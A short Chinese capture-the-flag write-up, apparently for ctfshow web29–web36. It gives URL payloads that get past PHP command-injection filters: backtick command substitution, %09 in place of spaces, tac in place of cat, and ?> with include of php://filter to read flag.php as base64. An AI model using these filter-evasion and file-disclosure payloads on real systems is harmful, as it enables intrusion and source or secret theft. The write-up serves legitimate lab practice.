web29
过滤了flag,可以用system,echo等。
1 | /?c=system("cat fla*"); |
web30
多过滤了一个system,还可以用echo。
1 | /?echo`cat fl*`; |
web31
cat和空格过滤了,可以用tac.
空格可以用%09绕过。
1 | /?c=echo%09`tac%09fl*`; |
web32
过滤的东西太多了左括号都给过滤了,使用命令逃逸+文件包含
空格可以用%09绕过, ;可以用?>绕过,因为使用?>,所以后面没办法直接拼接php语句,需要使用文件包含。
1 | /?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php |
再将得到的进行base64解码得到flag
web33
和web32差不多,用同样的payload就行
1 | /?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php |
web34
依旧可以用同样的payload
1 | /?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php |
web35
依旧可以用同样的payload
1 | /?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php |
连续几道题都一样,写的真恶心。
web36
这道题把1换成其他的字符就行,其他步骤一样。
1 | /?c=include%09$_GET[a]?>&&a=php://filter/convert.base64-encode/resource=flag.php |
require可以代替include,PHP常用的可以不加括号的函数echo、print、isset、unset、include、require。